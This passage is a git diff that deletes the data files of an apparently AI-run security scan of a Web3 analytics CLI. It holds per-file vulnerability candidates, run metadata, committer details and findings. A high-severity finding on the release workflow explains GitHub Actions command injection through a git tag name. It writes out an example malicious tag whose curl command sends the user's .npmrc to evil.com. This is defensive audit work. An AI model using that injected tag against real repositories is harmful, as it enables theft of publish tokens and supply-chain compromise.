"2026-05-18T17:16:09+07:00" - }, - { - "name": "ngogiahuandev", - "email": "ngogiahuan23122003@gmail.com", - "date": "2026-04-10T09:27:41+07:00" - } - ], - "enrichedAt": "2026-05-18T13:30:12.181Z" - } -} diff --git a/.deepsec/data/cli/files/src/index.ts.json b/.deepsec/data/cli/files/src/index.ts.json deleted file mode 100644 index 4b1ad14..0000000 --- a/.deepsec/data/cli/files/src/index.ts.json +++ /dev/null @@ -1,123 +0,0 @@ -{ - "filePath": "src/index.ts", - "projectId": "cli", - "candidates": [ - { - "vulnSlug": "insecure-crypto", - "lineNumbers": [ - 74, - 83, - 98, - 100, - 103, - 191, - 237 - ], - "snippet": "const cli = Cli.create(\"formo\", {\n version: \"0.2.0\",\n description: \"Formo API CLI — Web3 analytics from the terminal\",\n sync: {\n suggestions: [", - "matchedPattern": "weak cipher algorithm" - }, - { - "vulnSlug": "secret-in-log", - "lineNumbers": [ - 55 - ], - "snippet": " headers: { \"Content-Type\": \"application/json\" },\n body: JSON.stringify({ apiKey }),\n });", - "matchedPattern": "Secret variable in log statement" - }, - { - "vulnSlug": "secret-in-log", - "lineNumbers": [ - 103 - ], - "snippet": " options: z.object({}),\n examples: [{ args: { apiKey: \"formo_abc123\" }, description: \"Save API key\" }],\n async run({ args }) {", - "matchedPattern": "Secret variable in log statement" - }, - { - "vulnSlug": "env-var-as-bool", - "lineNumbers": [ - 211, - 229 - ], - "snippet": " }\n\n if (process.env.FORMO_API_KEY) {\n process.stderr.write(\n \"\\n\" +", - "matchedPattern": "Secret env var used as boolean" - }, - { - "vulnSlug": "process-env-access", - "lineNumbers": [ - 211 - ], - "snippet": "\n if (process.env.FORMO_API_KEY) {\n process.stderr.write(", - "matchedPattern": "process.env.FORMO_API_KEY" - }, - { - "vulnSlug": "process-env-access", - "lineNumbers": [ - 229 - ], - "snippet": " message: hadKey ? \"API key removed\" : \"Already logged out\",\n envVarSet: !!process.env.FORMO_API_KEY,\n };", - "matchedPattern": "process.env.FORMO_API_KEY" - }, - { - "vulnSlug": "process-env-access", - "lineNumbers": [ - 241 - ], - "snippet": " const config = readConfig();\n const source = process.env.FORMO_API_KEY\n ? \"FORMO_API_KEY env var\"", - "matchedPattern": "process.env.FORMO_API_KEY" - } - ], - "lastScannedAt": "2026-05-18T13:27:55.926Z", - "lastScannedRunId": "20260518132755-84f586919cca3cc4", - "fileHash": "fb198565b33e222909f3b54cd9105055359085d9f16d78ddb7fb9eead4a3d006", - "findings": [], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:32:16.245Z", - "durationMs": 80847.33333333333, - "durationApiMs": 77802, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "2987151b-22c8-4aa8-97b4-670c195142f6", - "findingCount": 0, - "numTurns": 2.3333333333333335, - "phase": "process", - "costUsd": 0.29499000000000003, - "usage": { - "inputTokens": 2.6666666666666665, - "outputTokens": 5766.666666666667, - "cacheReadInputTokens": 45820, - "cacheCreationInputTokens": 20464 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\"refused\": false, \"reason\": null, \"skipped\": []}\n```" - } - } - ], - "status": "analyzed", - "gitInfo": { - "recentCommitters": [ - { - "name": "Yos Riady", - "email": "1084226+yosriady@users.noreply.github.com", - "date": "2026-05-18T17:16:09+07:00" - }, - { - "name": "Yos Riady", - "email": "yos@formo.so", - "date": "2026-05-02T12:08:36+07:00" - }, - { - "name": "ngogiahuandev", - "email": "ngogiahuan23122003@gmail.com", - "date": "2026-04-10T11:11:00+07:00" - } - ], - "enrichedAt": "2026-05-18T13:32:16.392Z" - } -} diff --git a/.deepsec/data/cli/files/src/lib/client.ts.json b/.deepsec/data/cli/files/src/lib/client.ts.json deleted file mode 100644 index f57bb88..0000000 --- a/.deepsec/data/cli/files/src/lib/client.ts.json +++ /dev/null @@ -1,63 +0,0 @@ -{ - "filePath": "src/lib/client.ts", - "projectId": "cli", - "candidates": [ - { - "vulnSlug": "secret-in-log", - "lineNumbers": [ - 61 - ], - "snippet": " 'Content-Type': 'application/json',\n ...(apiKey ? { Authorization: `Bearer ${apiKey}` } : {}),\n },", - "matchedPattern": "Secret variable in log statement" - } - ], - "lastScannedAt": "2026-05-18T13:27:55.915Z", - "lastScannedRunId": "20260518132755-84f586919cca3cc4", - "fileHash": "d24e768ecf932bdd227d2f0d8462b8f89854f4d60b9324130735bcdb26ff0539", - "findings": [], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:31:02.743Z", - "durationMs": 42587, - "durationApiMs": 39632, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "8b108fcb-9c4d-457d-a3e3-cea3f3a470cf", - "findingCount": 0, - "numTurns": 2.25, - "phase": "process", - "costUsd": 0.17684918750000003, - "usage": { - "inputTokens": 3, - "outputTokens": 2741.25, - "cacheReadInputTokens": 53677.75, - "cacheCreationInputTokens": 13034.25 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\"refused\": false, \"reason\": null, \"skipped\": []}\n```" - } - } - ], - "status": "analyzed", - "gitInfo": { - "recentCommitters": [ - { - "name": "Yos Riady", - "email": "1084226+yosriady@users.noreply.github.com", - "date": "2026-05-03T18:51:58+07:00" - }, - { - "name": "ngogiahuandev", - "email": "ngogiahuan23122003@gmail.com", - "date": "2026-04-10T09:27:41+07:00" - } - ], - "enrichedAt": "2026-05-18T13:31:02.829Z" - } -} diff --git a/.deepsec/data/cli/files/src/lib/config.ts.json b/.deepsec/data/cli/files/src/lib/config.ts.json deleted file mode 100644 index 4ba8b26..0000000 --- a/.deepsec/data/cli/files/src/lib/config.ts.json +++ /dev/null @@ -1,82 +0,0 @@ -{ - "filePath": "src/lib/config.ts", - "projectId": "cli", - "candidates": [ - { - "vulnSlug": "env-var-as-bool", - "lineNumbers": [ - 45 - ], - "snippet": "\nexport function getApiKey(): string | undefined {\n return process.env.FORMO_API_KEY ?? readConfig().apiKey;\n}\n", - "matchedPattern": "Secret env var used as boolean" - }, - { - "vulnSlug": "process-env-access", - "lineNumbers": [ - 45 - ], - "snippet": "export function getApiKey(): string | undefined {\n return process.env.FORMO_API_KEY ?? readConfig().apiKey;\n}", - "matchedPattern": "process.env.FORMO_API_KEY" - } - ], - "lastScannedAt": "2026-05-18T13:27:55.926Z", - "lastScannedRunId": "20260518132755-84f586919cca3cc4", - "fileHash": "53491b1a4f44acbe9eecf879747f6557c38f0e5e76f83fd4d25d865c55f9fb5e", - "findings": [ - { - "severity": "MEDIUM", - "vulnSlug": "other-insecure-file-permissions", - "title": "API-key config file permission control (0o600) silently bypassed when config.json already exists", - "description": "saveConfig() persists the plaintext API key with `fs.writeFileSync(CONFIG_FILE, ..., { mode: 0o600 })` and creates the directory with `fs.mkdirSync(CONFIG_DIR, { recursive: true, mode: 0o700 })`. Per Node.js semantics, the `mode` option of `writeFileSync` is applied ONLY when the file is newly created (open with O_CREAT). If `~/.config/formo/config.json` already exists, the mode is NOT re-applied — the file is merely truncated and rewritten while retaining its existing permissions. Likewise, `mkdirSync` does not chmod an already-existing CONFIG_DIR. The codebase's documented threat model ranks 'API-key disclosure via weak config-file perms' as the #1 impact, and the sole stated control for the plaintext-credential store is exactly this `0o600`/`0o700` mode. That control is conditional: it holds only for a clean first creation. Realistic ways the file pre-exists with looser (e.g., 0o644, group/world-readable) permissions before saveConfig runs include: (a) an older `@formo/cli` version that wrote config.json without the `mode` option (default 0o666 & ~umask → typically 0o644); (b) the user or another tool creating the file first; (c) a backup/restore or dotfile-sync tool resetting modes; (d) `EXISTING` config dir created by another app under `~/.config`. In any of these cases `formo login` writes a long-lived `formo_…` API key into a world/group-readable file on a multi-user host, disclosing the credential to other local users — the precise risk the 0o600 control was meant to prevent. clearConfig() (L35-37) has the same create-only-mode limitation (lower impact since it writes `{}`).", - "lineNumbers": [ - 26, - 27, - 28, - 29 - ], - "recommendation": "Do not rely on writeFileSync's create-only `mode`. After writing, explicitly enforce permissions: `fs.chmodSync(CONFIG_FILE, 0o600)` (and `fs.chmodSync(CONFIG_DIR, 0o700)`), or write atomically via `fs.openSync(CONFIG_FILE, 'w', 0o600)` followed by `fs.fchmodSync(fd, 0o600)` before writing, then rename. Optionally detect and warn (or refuse) if the existing file/dir has group/other bits set. Apply the same chmod hardening in clearConfig().", - "confidence": "medium", - "producedByRunId": "20260518132805-a5fd1949eb744d8b" - } - ], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:31:02.829Z", - "durationMs": 42587, - "durationApiMs": 39632, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "8b108fcb-9c4d-457d-a3e3-cea3f3a470cf", - "findingCount": 1, - "numTurns": 2.25, - "phase": "process", - "costUsd": 0.17684918750000003, - "usage": { - "inputTokens": 3, - "outputTokens": 2741.25, - "cacheReadInputTokens": 53677.75, - "cacheCreationInputTokens": 13034.25 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\"refused\": false, \"reason\": null, \"skipped\": []}\n```" - } - } - ], - "status": "analyzed", - "gitInfo": { - "recentCommitters": [ - { - "name": "ngogiahuandev", - "email": "ngogiahuan23122003@gmail.com", - "date": "2026-04-10T09:27:41+07:00" - } - ], - "enrichedAt": "2026-05-18T13:31:02.913Z" - } -} diff --git a/.deepsec/data/cli/files/src/lib/ui.ts.json b/.deepsec/data/cli/files/src/lib/ui.ts.json deleted file mode 100644 index 15027a5..0000000 --- a/.deepsec/data/cli/files/src/lib/ui.ts.json +++ /dev/null @@ -1,66 +0,0 @@ -{ - "filePath": "src/lib/ui.ts", - "projectId": "cli", - "candidates": [ - { - "vulnSlug": "insecure-crypto", - "lineNumbers": [ - 4 - ], - "snippet": " * Terminal UI utilities for the Formo CLI.\n *\n * Uses raw ANSI escape codes (no dependencies) for coloring and styling.\n * Colors are automatically disabled when stdout is not a TTY (piped output, CI, etc.)\n * or when the NO_COLOR environment variable is set.", - "matchedPattern": "weak cipher algorithm" - }, - { - "vulnSlug": "process-env-access", - "lineNumbers": [ - 10 - ], - "snippet": "const isTTY = process.stdout.isTTY === true\nconst noColor = !!process.env.NO_COLOR\n", - "matchedPattern": "process.env.NO_COLOR" - } - ], - "lastScannedAt": "2026-05-18T13:27:55.926Z", - "lastScannedRunId": "20260518132755-84f586919cca3cc4", - "fileHash": "9e89051e7e08ac58a4af5d6e0f4a795f20560eb382d34b87ed7d3afe8085f169", - "findings": [], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:31:02.648Z", - "durationMs": 42587, - "durationApiMs": 39632, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "8b108fcb-9c4d-457d-a3e3-cea3f3a470cf", - "findingCount": 0, - "numTurns": 2.25, - "phase": "process", - "costUsd": 0.17684918750000003, - "usage": { - "inputTokens": 3, - "outputTokens": 2741.25, - "cacheReadInputTokens": 53677.75, - "cacheCreationInputTokens": 13034.25 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\"refused\": false, \"reason\": null, \"skipped\": []}\n```" - } - } - ], - "status": "analyzed", - "gitInfo": { - "recentCommitters": [ - { - "name": "ngogiahuandev", - "email": "ngogiahuan23122003@gmail.com", - "date": "2026-04-10T09:27:41+07:00" - } - ], - "enrichedAt": "2026-05-18T13:31:02.742Z" - } -} diff --git a/.deepsec/data/cli/project.json b/.deepsec/data/cli/project.json deleted file mode 100644 index 31865d8..0000000 --- a/.deepsec/data/cli/project.json +++ /dev/null @@ -1,6 +0,0 @@ -{ - "projectId": "cli", - "rootPath": "/Users/yos/cli", - "createdAt": "2026-05-18T12:47:43.317Z", - "githubUrl": "https://github.com/getformo/cli/blob/main" -} diff --git a/.deepsec/data/cli/reports/report.json b/.deepsec/data/cli/reports/report.json deleted file mode 100644 index 4a35123..0000000 --- a/.deepsec/data/cli/reports/report.json +++ /dev/null @@ -1,609 +0,0 @@ -{ - "projectId": "cli", - "generatedAt": "2026-05-18T13:32:27.437Z", - "runId": null, - "summary": { - "filesAnalyzed": 16, - "totalFindings": 4, - "critical": 0, - "high": 1, - "medium": 1, - "highBug": 0, - "bug": 2 - }, - "files": [ - { - "filePath": ".env", - "findings": [], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:31:02.512Z", - "durationMs": 42587, - "durationApiMs": 39632, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "8b108fcb-9c4d-457d-a3e3-cea3f3a470cf", - "findingCount": 0, - "numTurns": 2.25, - "phase": "process", - "costUsd": 0.17684918750000003, - "usage": { - "inputTokens": 3, - "outputTokens": 2741.25, - "cacheReadInputTokens": 53677.75, - "cacheCreationInputTokens": 13034.25 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\"refused\": false, \"reason\": null, \"skipped\": []}\n```" - } - } - ] - }, - { - "filePath": ".github/workflows/ci.yml", - "findings": [], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:32:16.392Z", - "durationMs": 80847.33333333333, - "durationApiMs": 77802, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "2987151b-22c8-4aa8-97b4-670c195142f6", - "findingCount": 0, - "numTurns": 2.3333333333333335, - "phase": "process", - "costUsd": 0.29499000000000003, - "usage": { - "inputTokens": 2.6666666666666665, - "outputTokens": 5766.666666666667, - "cacheReadInputTokens": 45820, - "cacheCreationInputTokens": 20464 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\"refused\": false, \"reason\": null, \"skipped\": []}\n```" - } - } - ] - }, - { - "filePath": ".github/workflows/release.yml", - "findings": [ - { - "severity": "HIGH", - "vulnSlug": "github-workflow-security", - "title": "Command injection in release workflow via attacker-controlled git tag name (supply-chain RCE)", - "description": "The `publish` job interpolates tag-derived GitHub Actions expressions directly into multi-line `run:` shell scripts. L79 `CURRENT_TAG=${{ github.ref_name }}` injects the raw tag name, and L55/L82 `TAG_VERSION=${{ steps.version.outputs.version }}` / `VERSION=${{ steps.version.outputs.version }}` inject the `version` step output which is derived at L49 from the tag itself (`VERSION=${GITHUB_REF#refs/tags/v}`). Actions performs `${{ }}` substitution textually BEFORE the shell runs, so the tag name becomes literal shell source. Git ref-naming rules forbid spaces and a few metacharacters but PERMIT `;`, `$`, backtick, `(`, `)`, `|`, `&`, `{`, `}`, `<`, `>`. A tag such as `v1.0.0;curl${IFS}-d@$HOME/.npmrc${IFS}evil.com` (or backtick/`$()` variants, using `${IFS}` to avoid spaces) yields `CURRENT_TAG=v1.0.0;curl ... evil.com`, executing arbitrary commands. The `publish` job holds `id-token: write` (npm OIDC trusted publishing), `contents: write`, and environment access to `secrets.TEST_TOKEN` and `secrets.GITHUB_TOKEN`. Arbitrary code execution here means an attacker can publish a malicious `@formo/cli` to npm, exfiltrate the OIDC-minted npm publish token and `GITHUB_TOKEN`, and tamper with releases — a full supply-chain compromise of a published package. The earlier 'Verify tag is on main branch' step only checks `github.sha` ancestry (a hex SHA, not injectable) and does NOT validate the tag NAME, so it does not mitigate this: an attacker can point a maliciously-named tag at a legitimate main commit and the guard still passes. Precondition: ability to push/create a tag (repository write access; default GitHub has no tag-protection). This is a privilege escalation from 'write access' to 'arbitrary npm publish + OIDC/secret exfiltration', and is the canonical GitHub Actions script-injection anti-pattern (CWE-78) that GitHub explicitly warns against.", - "lineNumbers": [ - 49, - 55, - 79, - 82 - ], - "recommendation": "Never interpolate `${{ github.ref_name }}` or any tag/ref-derived value (including `steps.version.outputs.version`, which is computed from the tag) directly into a `run:` block. Pass them through the step's `env:` map and reference them as quoted shell variables, e.g.:\n\n - name: Generate release notes\n env:\n CURRENT_TAG: ${{ github.ref_name }}\n VERSION: ${{ steps.version.outputs.version }}\n run: |\n PREV_TAG=$(git tag -l 'v*' --sort=-version:refname | grep -v \"^${CURRENT_TAG}$\" | head -1)\n\nDo the same for the `TAG_VERSION` usage at L55. Environment-variable values are not re-parsed as shell, so injection is prevented. Additionally, harden the version regex (e.g. validate `github.ref_name` matches `^v[0-9]+\\.[0-9]+\\.[0-9]+([.-][0-9A-Za-z.]+)?$` and `exit 1` otherwise before any other step), and enable GitHub tag protection rules so only trusted maintainers can create `v*` tags.", - "confidence": "high", - "producedByRunId": "20260518132805-a5fd1949eb744d8b" - } - ], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:32:16.485Z", - "durationMs": 80847.33333333333, - "durationApiMs": 77802, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "2987151b-22c8-4aa8-97b4-670c195142f6", - "findingCount": 1, - "numTurns": 2.3333333333333335, - "phase": "process", - "costUsd": 0.29499000000000003, - "usage": { - "inputTokens": 2.6666666666666665, - "outputTokens": 5766.666666666667, - "cacheReadInputTokens": 45820, - "cacheCreationInputTokens": 20464 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\"refused\": false, \"reason\": null, \"skipped\": []}\n```" - } - } - ] - }, - { - "filePath": "src/commands/alerts.ts", - "findings": [], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:30:45.062Z", - "durationMs": 30415.8, - "durationApiMs": 28011, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "002e479b-3054-4173-85cd-120252954fd4", - "findingCount": 0, - "numTurns": 2.2, - "phase": "process", - "costUsd": 0.14245805000000003, - "usage": { - "inputTokens": 2, - "outputTokens": 1932.2, - "cacheReadInputTokens": 34973.6, - "cacheCreationInputTokens": 12265 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" - } - } - ] - }, - { - "filePath": "src/commands/analytics.ts", - "findings": [], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:30:45.183Z", - "durationMs": 30415.8, - "durationApiMs": 28011, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "002e479b-3054-4173-85cd-120252954fd4", - "findingCount": 0, - "numTurns": 2.2, - "phase": "process", - "costUsd": 0.14245805000000003, - "usage": { - "inputTokens": 2, - "outputTokens": 1932.2, - "cacheReadInputTokens": 34973.6, - "cacheCreationInputTokens": 12265 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" - } - } - ] - }, - { - "filePath": "src/commands/boards.ts", - "findings": [], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:30:45.271Z", - "durationMs": 30415.8, - "durationApiMs": 28011, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "002e479b-3054-4173-85cd-120252954fd4", - "findingCount": 0, - "numTurns": 2.2, - "phase": "process", - "costUsd": 0.14245805000000003, - "usage": { - "inputTokens": 2, - "outputTokens": 1932.2, - "cacheReadInputTokens": 34973.6, - "cacheCreationInputTokens": 12265 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" - } - } - ] - }, - { - "filePath": "src/commands/charts.ts", - "findings": [], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:30:45.351Z", - "durationMs": 30415.8, - "durationApiMs": 28011, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "002e479b-3054-4173-85cd-120252954fd4", - "findingCount": 0, - "numTurns": 2.2, - "phase": "process", - "costUsd": 0.14245805000000003, - "usage": { - "inputTokens": 2, - "outputTokens": 1932.2, - "cacheReadInputTokens": 34973.6, - "cacheCreationInputTokens": 12265 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" - } - } - ] - }, - { - "filePath": "src/commands/contracts.ts", - "findings": [], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:30:45.432Z", - "durationMs": 30415.8, - "durationApiMs": 28011, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "002e479b-3054-4173-85cd-120252954fd4", - "findingCount": 0, - "numTurns": 2.2, - "phase": "process", - "costUsd": 0.14245805000000003, - "usage": { - "inputTokens": 2, - "outputTokens": 1932.2, - "cacheReadInputTokens": 34973.6, - "cacheCreationInputTokens": 12265 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" - } - } - ] - }, - { - "filePath": "src/commands/import.ts", - "findings": [], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:30:11.755Z", - "durationMs": 29793.75, - "durationApiMs": 27449, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "73190721-9d83-413f-9748-88626d00f584", - "findingCount": 0, - "numTurns": 2, - "phase": "process", - "costUsd": 0.1443679375, - "usage": { - "inputTokens": 1.5, - "outputTokens": 2118.75, - "cacheReadInputTokens": 20086.5, - "cacheCreationInputTokens": 13015.75 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" - } - } - ] - }, - { - "filePath": "src/commands/profiles.ts", - "findings": [ - { - "severity": "BUG", - "vulnSlug": "other-logic-bug", - "title": "HTTP GET issued with a request body for profile search conditions", - "description": "searchProfilesRun() sends the validated `--conditions`/`--logic` payload as the body of a GET request: `client.request({ method: 'get', url: '/v0/profiles/', params, data: body })`. Bodies on GET requests are not reliably transmitted — axios sends them, but many HTTP intermediaries, proxies, and server frameworks strip or ignore GET request bodies. If the body is dropped anywhere along the path, the filter conditions are silently discarded and the endpoint returns the entire unfiltered profile dataset. This is exactly the silent-unfiltered-result footgun that parseSearchConditions()'s own comments (lines 52-55, 96-98) go to great lengths to prevent for bare field names. Not a security vulnerability (data is the caller's own project data under their own scoped key), but a correctness/cost concern: a user believing they filtered to a small result set may instead page through the full dataset. Low confidence because it depends on api.formo.so and the transport actually honoring GET bodies, which cannot be verified from the client code alone.", - "lineNumbers": [ - 124 - ], - "recommendation": "Either send the conditions payload via POST (e.g. a dedicated search endpoint) or confirm api.formo.so reliably reads GET bodies. If the GET-with-body contract is intentional and supported end-to-end, document it explicitly so future maintainers do not 'fix' it.", - "confidence": "low", - "producedByRunId": "20260518132805-a5fd1949eb744d8b" - } - ], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:30:11.873Z", - "durationMs": 29793.75, - "durationApiMs": 27449, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "73190721-9d83-413f-9748-88626d00f584", - "findingCount": 1, - "numTurns": 2, - "phase": "process", - "costUsd": 0.1443679375, - "usage": { - "inputTokens": 1.5, - "outputTokens": 2118.75, - "cacheReadInputTokens": 20086.5, - "cacheCreationInputTokens": 13015.75 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" - } - } - ] - }, - { - "filePath": "src/commands/query.ts", - "findings": [], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:30:11.964Z", - "durationMs": 29793.75, - "durationApiMs": 27449, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "73190721-9d83-413f-9748-88626d00f584", - "findingCount": 0, - "numTurns": 2, - "phase": "process", - "costUsd": 0.1443679375, - "usage": { - "inputTokens": 1.5, - "outputTokens": 2118.75, - "cacheReadInputTokens": 20086.5, - "cacheCreationInputTokens": 13015.75 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" - } - } - ] - }, - { - "filePath": "src/commands/segments.ts", - "findings": [ - { - "severity": "BUG", - "vulnSlug": "other-input-validation", - "title": "buildCreateSegmentBody does not validate that --filter-sets is an array", - "description": "buildCreateSegmentBody() does `JSON.parse(options.filterSets)` and forwards the result unchanged, but never checks `Array.isArray(parsedFilterSets)`. Both the catch-block error message ('--filter-sets must be a valid JSON array') and the Zod option description ('JSON array of filter set strings defining the segment') promise array validation that the code does not perform. Inputs like `--filter-sets '{\"x\":1}'`, `--filter-sets '5'`, or `--filter-sets '\"foo\"'` are valid JSON and therefore pass client-side validation, sending a malformed `filterSets` shape to POST /v0/segments/. This is inconsistent with the sibling validator buildImportBody() in import.ts (lines 19-21), which correctly rejects non-arrays. Not a security issue — the server enforces the real schema under the segments:write scope — but the misleading error message degrades the CLI/agent UX and can mask the actual cause of a server rejection.", - "lineNumbers": [ - 32, - 33, - 34, - 35, - 36, - 37, - 38, - 42 - ], - "recommendation": "After JSON.parse, add `if (!Array.isArray(parsedFilterSets)) throw new Error('--filter-sets must be a valid JSON array')`, mirroring buildImportBody() in import.ts, so the validation matches the documented contract.", - "confidence": "high", - "producedByRunId": "20260518132805-a5fd1949eb744d8b" - } - ], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:30:12.075Z", - "durationMs": 29793.75, - "durationApiMs": 27449, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "73190721-9d83-413f-9748-88626d00f584", - "findingCount": 1, - "numTurns": 2, - "phase": "process", - "costUsd": 0.1443679375, - "usage": { - "inputTokens": 1.5, - "outputTokens": 2118.75, - "cacheReadInputTokens": 20086.5, - "cacheCreationInputTokens": 13015.75 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" - } - } - ] - }, - { - "filePath": "src/index.ts", - "findings": [], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:32:16.245Z", - "durationMs": 80847.33333333333, - "durationApiMs": 77802, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "2987151b-22c8-4aa8-97b4-670c195142f6", - "findingCount": 0, - "numTurns": 2.3333333333333335, - "phase": "process", - "costUsd": 0.29499000000000003, - "usage": { - "inputTokens": 2.6666666666666665, - "outputTokens": 5766.666666666667, - "cacheReadInputTokens": 45820, - "cacheCreationInputTokens": 20464 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\"refused\": false, \"reason\": null, \"skipped\": []}\n```" - } - } - ] - }, - { - "filePath": "src/lib/client.ts", - "findings": [], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:31:02.743Z", - "durationMs": 42587, - "durationApiMs": 39632, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "8b108fcb-9c4d-457d-a3e3-cea3f3a470cf", - "findingCount": 0, - "numTurns": 2.25, - "phase": "process", - "costUsd": 0.17684918750000003, - "usage": { - "inputTokens": 3, - "outputTokens": 2741.25, - "cacheReadInputTokens": 53677.75, - "cacheCreationInputTokens": 13034.25 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\"refused\": false, \"reason\": null, \"skipped\": []}\n```" - } - } - ] - }, - { - "filePath": "src/lib/config.ts", - "findings": [ - { - "severity": "MEDIUM", - "vulnSlug": "other-insecure-file-permissions", - "title": "API-key config file permission control (0o600) silently bypassed when config.json already exists", - "description": "saveConfig() persists the plaintext API key with `fs.writeFileSync(CONFIG_FILE, ..., { mode: 0o600 })` and creates the directory with `fs.mkdirSync(CONFIG_DIR, { recursive: true, mode: 0o700 })`. Per Node.js semantics, the `mode` option of `writeFileSync` is applied ONLY when the file is newly created (open with O_CREAT). If `~/.config/formo/config.json` already exists, the mode is NOT re-applied — the file is merely truncated and rewritten while retaining its existing permissions. Likewise, `mkdirSync` does not chmod an already-existing CONFIG_DIR. The codebase's documented threat model ranks 'API-key disclosure via weak config-file perms' as the #1 impact, and the sole stated control for the plaintext-credential store is exactly this `0o600`/`0o700` mode. That control is conditional: it holds only for a clean first creation. Realistic ways the file 